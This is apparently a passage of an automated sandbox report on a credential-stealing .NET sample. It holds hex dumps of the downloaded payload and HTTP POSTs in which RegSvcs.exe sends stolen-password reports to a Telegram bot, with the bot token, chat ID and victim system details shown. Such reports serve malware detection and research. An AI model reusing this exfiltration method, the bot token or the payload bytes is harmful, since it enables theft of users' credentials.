2022-08-08 15:18:44 UTC	159	IN	Data Raw: 62 61 63 6b 00 4d 61 72 73 68 61 6c 00 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 42 61 73 69 63 2e 4d 79 53 65 72 76 69 63 65 73 2e 49 6e 74 65 72 6e 61 6c 00 53 79 73 74 65 6d 2e 43 6f 6d 70 6f 6e 65 6e 74 4d 6f 64 65 6c 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 64 6c 6c 00 4b 69 6c 6c 00 4d 65 6d 6f 72 79 42 61 72 72 69 65 72 73 65 74 41 73 42 6f 6f 6c 00 4d 65 6d 6f 72 79 42 61 72 72 69 65 72 55 43 4f 4d 49 53 74 72 65 61 6d 00 65 6c 65 6d 00 67 65 74 5f 49 74 65 6d 00 53 79 73 74 65 6d 00 55 48 47 49 55 66 4c 6a 59 49 49 4a 72 75 74 46 43 50 72 5a 4e 6d 73 4b 4a 63 47 67 5a 4e 44 68 72 66 4d 68 4f 56 4e 65 46 54 52 72 43 4a 4b 62 54 66 63 75 4d 66 43 69 6a 77 7a 4d 5a 66 65 4b 45 77 52 4d 44 4d 4d 43 42 Data Ascii: backMarshalMicrosoft.VisualBasic.MyServices.InternalSystem.ComponentModelRealProxyFlagsBadSignature.dllKillMemoryBarriersetAsBoolMemoryBarrierUCOMIStreamelemget_ItemSystemUHGIUfLjYIIJrutFCPrZNmsKJcGgZNDhrfMhOVNeFTRrCJKbTfcuMfCijwzMZfeKEwRMDMMCB
2022-08-08 15:18:44 UTC	161	IN	Data Raw: 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 00 69 6e 68 65 72 69 74 48 61 6e 64 6c 65 73 00 67 65 74 5f 4d 6f 64 75 6c 65 73 00 74 68 72 65 61 64 41 74 74 72 69 62 75 74 65 73 00 52 65 6d 6f 76 65 4e 61 6d 65 73 70 61 63 65 41 74 74 72 69 62 75 74 65 73 00 70 72 6f 63 65 73 73 41 74 74 72 69 62 75 74 65 73 00 6d 5f 61 74 74 72 69 62 75 74 65 73 00 47 65 74 42 79 74 65 73 00 6d 5f 69 6e 53 63 6f Data Ascii: e.CompilerServicesSystem.ResourcesRealProxyFlagsBadSignature.My.ResourcesRealProxyFlagsBadSignature.Resources.resourcesDebuggingModesinheritHandlesget_ModulesthreadAttributesRemoveNamespaceAttributesprocessAttributesm_attributesGetBytesm_inSco
2022-08-08 15:18:44 UTC	162	IN	Data Raw: 76 00 53 00 6a 00 5a 00 51 00 63 00 47 00 6a 00 44 00 4f 00 74 00 42 00 55 00 64 00 74 00 76 00 6b 00 6a 00 58 00 64 00 6f 00 46 00 46 00 63 00 4b 00 6b 00 70 00 55 00 4a 00 48 00 46 00 7a 00 58 00 48 00 65 00 63 00 61 00 42 00 72 00 64 00 6c 00 4f 00 4b 00 4e 00 4f 00 50 00 5a 00 41 00 79 00 72 00 65 00 4d 00 75 00 47 00 49 00 55 00 4c 00 78 00 7a 00 53 00 53 00 57 00 42 00 46 00 76 00 6f 00 47 00 6d 00 46 00 72 00 79 00 74 00 48 00 6e 00 76 00 74 00 7a 00 4d 00 6e 00 72 00 69 00 6e 00 79 00 75 00 76 00 53 00 6a 00 5a 00 51 00 63 00 47 00 6a 00 44 00 4f 00 74 00 42 00 55 00 64 00 74 00 76 00 6b 00 6a 00 58 00 64 00 6f 00 46 00 46 00 63 00 4b 00 6b 00 70 00 55 00 4a 00 48 00 46 00 7a 00 58 00 48 00 65 00 63 00 61 00 42 00 72 00 64 00 6c 00 4f 00 4b 00 4e Data Ascii: vSjZQcGjDOtBUdtvkjXdoFFcKkpUJHFzXHecaBrdlOKNOPZAyreMuGIULxzSSWBFvoGmFrytHnvtzMnrinyuvSjZQcGjDOtBUdtvkjXdoFFcKkpUJHFzXHecaBrdlOKN
2022-08-08 15:18:44 UTC	163	IN	Data Raw: 00 54 00 77 00 41 00 44 00 51 00 70 00 41 00 6d 00 59 00 7a 00 4b 00 72 00 7a 00 6b 00 50 00 67 00 77 00 4a 00 42 00 4d 00 64 00 6f 00 57 00 52 00 47 00 6e 00 53 00 4a 00 59 00 67 00 67 00 54 00 50 00 58 00 63 00 43 00 6b 00 65 00 6e 00 72 00 65 00 79 00 6e 00 4c 00 74 00 77 00 64 00 46 00 42 00 6f 00 6a 00 6f 00 54 00 68 00 6c 00 4a 00 6a 00 4e 00 4d 00 51 00 53 00 55 00 48 00 4a 00 62 00 79 00 51 00 67 00 51 00 41 00 63 00 46 00 55 00 52 00 6b 00 7a 00 72 00 51 00 45 00 49 00 6b 00 48 00 41 00 72 00 6c 00 54 00 77 00 41 00 44 00 51 00 70 00 41 00 6d 00 59 00 7a 00 4b 00 72 00 7a 00 6b 00 50 00 67 00 77 00 4a 00 42 00 4d 00 64 00 6f 00 57 00 52 00 47 00 6e 00 53 00 4a 00 59 00 67 00 67 00 54 00 50 00 58 00 63 00 43 00 6b 00 6b 00 00 80 a3 79 00 6e 00 4c Data Ascii: TwADQpAmYzKrzkPgwJBMdoWRGnSJYggTPXcCkenreynLtwdFBojoThlJjNMQSUHJbyQgQAcFURkzrQEIkHArlTwADQpAmYzKrzkPgwJBMdoWRGnSJYggTPXcCkkynL
2022-08-08 15:18:44 UTC	165	IN	Data Raw: 51 00 72 00 62 00 71 00 79 00 42 00 43 00 64 00 4c 00 50 00 74 00 55 00 55 00 77 00 6b 00 43 00 55 00 76 00 52 00 76 00 4a 00 50 00 54 00 6f 00 4f 00 53 00 47 00 50 00 50 00 65 00 74 00 61 00 7a 00 6b 00 71 00 72 00 67 00 4a 00 47 00 6b 00 6c 00 6e 00 44 00 67 00 45 00 49 00 69 00 4a 00 77 00 66 00 73 00 5a 00 50 00 58 00 50 00 73 00 70 00 79 00 67 00 50 00 55 00 4e 00 6e 00 69 00 6a 00 54 00 46 00 6a 00 4e 00 65 00 46 00 45 00 4b 00 52 00 45 00 41 00 75 00 6a 00 69 00 65 00 64 00 58 00 4d 00 73 00 69 00 51 00 72 00 62 00 71 00 79 00 42 00 43 00 64 00 4c 00 50 00 74 00 55 00 55 00 77 00 6b 00 43 00 55 00 76 00 52 00 76 00 4a 00 50 00 54 00 6f 00 4f 00 53 00 47 00 50 00 65 00 72 00 43 00 7a 00 6b 00 71 00 72 00 67 00 4a 00 47 00 6b 00 6c 00 6e 00 44 00 67 Data Ascii: QrbqyBCdLPtUUwkCUvRvJPToOSGPPetazkqrgJGklnDgEIiJwfsZPXPspygPUNnijTFjNeFEKREAujiedXMsiQrbqyBCdLPtUUwkCUvRvJPToOSGPerCzkqrgJGklnDg
2022-08-08 15:18:44 UTC	166	IN	Data Raw: 00 68 00 46 00 41 00 4f 00 44 00 6d 00 62 00 46 00 64 00 4b 00 59 00 44 00 6c 00 46 00 76 00 65 00 47 00 00 80 a3 58 00 47 00 52 00 41 00 50 00 56 00 53 00 78 00 79 00 4f 00 6a 00 63 00 58 00 62 00 54 00 42 00 4b 00 41 00 5a 00 48 00 53 00 63 00 65 00 78 00 75 00 53 00 74 00 42 00 74 00 49 00 77 00 67 00 76 00 6d 00 61 00 45 00 54 00 73 00 5a 00 55 00 64 00 49 00 59 00 62 00 4c 00 4b 00 58 00 43 00 51 00 52 00 64 00 4f 00 4e 00 55 00 53 00 76 00 63 00 70 00 61 00 53 00 77 00 52 00 44 00 71 00 52 00 44 00 68 00 46 00 41 00 4f 00 44 00 6d 00 62 00 46 00 64 00 4b 00 59 00 44 00 6c 00 46 00 76 00 00 82 a9 74 00 78 00 4c 00 46 00 77 00 65 00 69 00 6e 00 61 00 55 00 41 00 78 00 79 00 52 00 63 00 74 00 4d 00 45 00 68 00 4a 00 64 00 63 00 6e 00 42 00 58 00 4f 00 Data Ascii: hFAODmbFdKYDlFveGXGRAPVSxyOjcXbTBKAZHScexuStBtIwgvmaETsZUdIYbLKXCQRdONUSvcpaSwRDqRDhFAODmbFdKYDlFvtxLFweinaUAxyRctMEhJdcnBXO
2022-08-08 15:18:44 UTC	167	IN	Data Raw: 42 00 4a 00 74 00 4b 00 51 00 43 00 57 00 65 00 6f 00 43 00 64 00 61 00 65 00 77 00 50 00 59 00 41 00 67 00 52 00 4e 00 6b 00 76 00 7a 00 74 00 73 00 63 00 46 00 72 00 74 00 4e 00 4f 00 7a 00 74 00 4f 00 58 00 52 00 48 00 56 00 48 00 50 00 48 00 45 00 64 00 52 00 59 00 53 00 48 00 44 00 55 00 6f 00 63 00 4d 00 79 00 6a 00 70 00 4e 00 41 00 61 00 79 00 79 00 49 00 65 00 65 00 6e 00 72 00 65 00 53 00 76 00 59 00 79 00 51 00 41 00 59 00 43 00 47 00 42 00 52 00 43 00 55 00 61 00 70 00 42 00 57 00 61 00 46 00 57 00 42 00 4a 00 74 00 4b 00 51 00 43 00 57 00 65 00 72 00 68 00 54 00 74 00 65 00 47 00 77 00 50 00 59 00 41 00 67 00 52 00 4e 00 6b 00 76 00 7a 00 74 00 73 00 63 00 46 00 72 00 74 00 4e 00 4f 00 7a 00 74 00 4f 00 58 00 52 00 48 00 56 00 48 00 50 00 48 Data Ascii: BJtKQCWeoCdaewPYAgRNkvztscFrtNOztOXRHVHPHEdRYSHDUocMyjpNAayyIeenreSvYyQAYCGBRCUapBWaFWBJtKQCWerhTteGwPYAgRNkvztscFrtNOztOXRHVHPH
2022-08-08 15:18:44 UTC	169	IN	Data Raw: 00 56 00 5a 00 6d 00 74 00 65 00 53 00 34 00 36 00 63 00 78 00 76 00 4c 00 5a 00 50 00 41 00 68 00 65 00 72 00 58 00 78 00 6f 00 52 00 64 00 4a 00 51 00 53 00 46 00 58 00 49 00 47 00 49 00 45 00 68 00 56 00 64 00 49 00 42 00 4f 00 68 00 6a 00 64 00 75 00 5a 00 64 00 47 00 47 00 64 00 61 00 61 00 49 00 72 00 7a 00 44 00 64 00 44 00 46 00 42 00 45 00 50 00 53 00 77 00 55 00 56 00 56 00 6f 00 71 00 64 00 5a 00 6c 00 4d 00 67 00 6c 00 4b 00 6e 00 54 00 4f 00 72 00 7a 00 44 00 4a 00 4b 00 41 00 53 00 41 00 6a 00 64 00 56 00 5a 00 6d 00 77 00 6f 00 57 00 00 80 a3 63 00 78 00 76 00 4c 00 5a 00 50 00 41 00 68 00 65 00 72 00 58 00 78 00 6f 00 52 00 64 00 4a 00 51 00 53 00 46 00 58 00 49 00 47 00 49 00 45 00 68 00 56 00 64 00 49 00 42 00 4f 00 68 00 6a 00 64 00 75 Data Ascii: VZmteS46cxvLZPAherXxoRdJQSFXIGIEhVdIBOhjduZdGGdaaIrzDdDFBEPSwUVVoqdZlMglKnTOrzDJKASAjdVZmwoWcxvLZPAherXxoRdJQSFXIGIEhVdIBOhjdu
2022-08-08 15:18:44 UTC	170	IN	Data Raw: 6f 00 6d 00 65 00 4d 00 69 00 6e 00 52 00 64 00 57 00 6a 00 49 00 4b 00 75 00 4c 00 6e 00 76 00 6e 00 52 00 44 00 47 00 41 00 4d 00 45 00 46 00 71 00 48 00 6d 00 4b 00 71 00 4f 00 56 00 6c 00 7a 00 58 00 69 00 4e 00 77 00 6c 00 55 00 6f 00 48 00 4b 00 77 00 41 00 6d 00 47 00 66 00 47 00 50 00 4d 00 47 00 54 00 51 00 4d 00 6c 00 56 00 54 00 4b 00 41 00 61 00 42 00 47 00 6d 00 64 00 4f 00 57 00 66 00 58 00 64 00 76 00 79 00 43 00 53 00 50 00 79 00 4c 00 50 00 44 00 54 00 6a 00 78 00 42 00 50 00 79 00 49 00 73 00 73 00 69 00 6e 00 52 00 64 00 57 00 6a 00 49 00 4b 00 75 00 4c 00 6e 00 76 00 6e 00 52 00 44 00 47 00 41 00 4d 00 45 00 46 00 71 00 48 00 6d 00 4b 00 71 00 4f 00 56 00 6c 00 7a 00 58 00 69 00 4e 00 77 00 6c 00 55 00 6f 00 48 00 4b 00 77 00 41 00 6d Data Ascii: omeMinRdWjIKuLnvnRDGAMEFqHmKqOVlzXiNwlUoHKwAmGfGPMGTQMlVTKAaBGmdOWfXdvyCSPyLPDTjxBPyIssinRdWjIKuLnvnRDGAMEFqHmKqOVlzXiNwlUoHKwAm
2022-08-08 15:18:44 UTC	171	IN	Data Raw: 00 74 00 4e 00 42 00 71 00 6d 00 47 00 68 00 74 00 48 00 46 00 74 00 48 00 42 00 58 00 6f 00 6c 00 6b 00 76 00 64 00 63 00 55 00 4f 00 44 00 42 00 41 00 6a 00 76 00 46 00 51 00 4c 00 52 00 79 00 41 00 4c 00 49 00 56 00 68 00 42 00 4f 00 51 00 51 00 42 00 4d 00 53 00 74 00 64 00 53 00 6e 00 77 00 6d 00 45 00 49 00 54 00 74 00 76 00 6b 00 45 00 41 00 70 00 59 00 66 00 63 00 64 00 51 00 6f 00 50 00 48 00 70 00 6a 00 54 00 5a 00 69 00 43 00 4e 00 4c 00 6e 00 42 00 46 00 63 00 73 00 51 00 49 00 65 00 00 80 a3 42 00 71 00 6d 00 47 00 68 00 74 00 48 00 46 00 74 00 48 00 42 00 58 00 6f 00 6c 00 6b 00 76 00 64 00 63 00 55 00 4f 00 44 00 42 00 41 00 6a 00 76 00 46 00 51 00 4c 00 52 00 79 00 41 00 4c 00 49 00 56 00 68 00 42 00 4f 00 51 00 51 00 42 00 4d 00 53 00 74 Data Ascii: tNBqmGhtHFtHBXolkvdcUODBAjvFQLRyALIVhBOQQBMStdSnwmEITtvkEApYfcdQoPHpjTZiCNLnBFcsQIeBqmGhtHFtHBXolkvdcUODBAjvFQLRyALIVhBOQQBMSt
2022-08-08 15:18:44 UTC	173	IN	Data Raw: 42 00 6c 00 51 00 71 00 50 00 44 00 65 00 48 00 76 00 56 00 70 00 77 00 52 00 77 00 71 00 47 00 66 00 6c 00 76 00 4a 00 6e 00 46 00 44 00 51 00 4c 00 5a 00 47 00 53 00 47 00 69 00 46 00 4c 00 48 00 68 00 72 00 75 00 48 00 58 00 41 00 48 00 6f 00 63 00 74 00 70 00 73 00 58 00 51 00 77 00 61 00 4c 00 6f 00 7a 00 49 00 4e 00 70 00 52 00 68 00 55 00 66 00 4b 00 53 00 68 00 57 00 4d 00 6b 00 65 00 6f 00 45 00 46 00 51 00 72 00 68 00 54 00 4e 00 7a 00 4e 00 59 00 51 00 53 00 55 00 6c 00 6a 00 57 00 63 00 42 00 6c 00 51 00 71 00 50 00 44 00 65 00 48 00 76 00 56 00 70 00 77 00 52 00 77 00 71 00 47 00 66 00 6c 00 76 00 4a 00 6e 00 46 00 44 00 51 00 4c 00 5a 00 47 00 53 00 47 00 69 00 46 00 4c 00 48 00 68 00 72 00 75 00 48 00 58 00 41 00 48 00 6f 00 63 00 74 00 70 Data Ascii: BlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQrhTNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctp
2022-08-08 15:18:44 UTC	174	IN	Data Raw: 01 01 1e 00 1e 00 04 07 01 1e 00 07 30 01 01 01 10 1e 00 07 20 04 01 0e 0e 0e 0e 61 01 00 34 53 79 73 74 65 6d 2e 57 65 62 2e 53 65 72 76 69 63 65 73 2e 50 72 6f 74 6f 63 6f 6c 73 2e 53 6f 61 70 48 74 74 70 43 6c 69 65 6e 74 50 72 6f 74 6f 63 6f 6c 12 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 13 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 00 00 07 06 15 12 71 01 13 00 09 07 04 13 00 13 00 13 00 02 06 15 12 18 01 13 00 06 15 12 71 01 13 00 02 13 00 04 0a 01 13 00 05 20 01 01 13 00 04 28 00 13 00 04 20 01 01 02 05 01 00 00 00 00 0c 07 04 0e 12 79 15 12 7d 01 12 79 02 07 15 12 80 81 01 12 79 08 20 00 15 12 7d 01 13 00 06 15 12 7d 01 12 79 03 20 00 02 0a 00 01 0e 15 12 80 81 01 12 79 0b 07 03 12 79 15 12 7d 01 12 79 02 0b 00 02 01 Data Ascii: 0 a4System.Web.Services.Protocols.SoapHttpClientProtocolCreate__Instance__Dispose__Instance__qq ( y}yy }}y yy}y
2022-08-08 15:18:44 UTC	175	IN	Data Raw: 80 ed 18 08 08 08 08 12 80 f1 1c 08 20 05 08 18 08 08 08 08 0a 20 03 12 80 ed 18 12 80 f1 1c 04 20 01 08 18 02 06 09 03 06 1d 05 02 1e 24 04 06 12 80 f9 04 06 12 80 fd 09 07 03 12 80 f9 12 80 f9 02 05 00 02 02 1c 1c 05 20 00 12 81 01 07 20 02 01 0e 12 81 01 05 00 00 12 80 f9 05 07 01 12 80 fd 05 00 00 12 80 fd 06 00 01 01 12 80 fd 05 08 00 12 80 f9 08 01 00 02 00 00 00 00 00 05 08 00 12 80 fd 40 01 00 33 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 2e 54 6f 6f 6c 73 2e 53 74 72 6f 6e 67 6c 79 54 79 70 65 64 52 65 73 6f 75 72 63 65 42 75 69 6c 64 65 72 07 34 2e 30 2e 30 2e 30 00 00 03 06 12 60 08 00 01 12 81 09 12 81 09 04 07 01 12 60 04 00 00 12 60 04 08 00 12 60 59 01 00 4b 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 53 74 75 64 69 6f 2e 45 64 69 Data Ascii: $ @3System.Resources.Tools.StronglyTypedResourceBuilder4.0.0.0````YKMicrosoft.VisualStudio.Edi
2022-08-08 15:18:44 UTC	177	IN	Data Raw: 00 00 00 01 00 00 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 c8 01 00 00 18 e5 00 00 28 01 00 00 00 00 00 00 00 00 00 00 40 e6 00 00 68 05 00 00 00 00 00 00 00 00 00 00 a8 eb 00 00 68 04 00 00 00 00 00 00 00 00 00 00 10 f0 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 f8 f2 00 00 a8 08 00 00 00 00 00 00 00 00 00 00 a0 fb 00 00 a8 10 00 00 00 00 00 00 00 00 00 00 48 0c 01 00 5a 00 00 00 00 00 00 00 00 00 00 00 d8 e1 00 00 40 03 00 00 00 00 Data Ascii: x(@hhHZ@
2022-08-08 15:18:44 UTC	178	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 08 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 42 42 42 00 f1 ef f0 00 f6 f6 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ( BBB
2022-08-08 15:18:44 UTC	179	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff Data Ascii: ( @BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
2022-08-08 15:18:44 UTC	181	IN	Data Raw: 77 77 77 77 77 77 77 77 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 77 77 77 Data Ascii: wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
2022-08-08 15:18:44 UTC	182	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-08 15:18:44 UTC	186	IN	Data Raw: 42 42 42 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 Data Ascii: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49181	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-08 15:18:49 UTC	188	OUT	POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8da7965034df172 Host: api.telegram.org Content-Length: 1028 Expect: 100-continue Connection: Keep-Alive
2022-08-08 15:18:49 UTC	189	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49182	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-08 15:18:57 UTC	189	OUT	POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8da79653dcfca72 Host: api.telegram.org Content-Length: 1028 Expect: 100-continue Connection: Keep-Alive
2022-08-08 15:18:57 UTC	189	IN	HTTP/1.1 100 Continue
2022-08-08 15:18:57 UTC	189	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 35 33 64 63 66 63 61 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 2d 36 32 34 38 33 34 36 34 31 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 35 33 64 63 66 63 61 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 41 6c 62 75 73 2f 34 37 32 38 34 37 0a 4f 53 46 75 6c 6c Data Ascii: -----------------------------8da79653dcfca72Content-Disposition: form-data; name="chat_id"-624834641-----------------------------8da79653dcfca72Content-Disposition: form-data; name="caption"New PW Recovered!User Name: user/472847OSFull
2022-08-08 15:18:57 UTC	190	OUT	Data Raw: 2d 2d 0d 0a Data Ascii: --
2022-08-08 15:18:57 UTC	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 08 Aug 2022 15:18:57 GMT Content-Type: application/json Content-Length: 646 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":1840,"from":{"id":5520247480,"is_bot":true,"first_name":"Gentlelogger","username":"gentlelogger_bot"},"chat":{"id":-624834641,"title":"Result Panel","type":"group","all_members_are_administrators":true},"date":1659971937,"document":{"file_name":"user-472847 2022-08-08 05-41-36.html","mime_type":"text/html","file_id":"BQACAgEAAxkDAAIHMGLxKWH2-C_4PodVD9rVgG-ABPMsAAI9AwACOBiIR9Hes7KKS-gIKQQ","file_unique_id":"AgADPQMAAjgYiEc","file_size":449},"caption":"New PW Recovered!\n\nUser Name: user/472847\nOSFullName: Microsoft Windows 7 Professional \nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49183	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
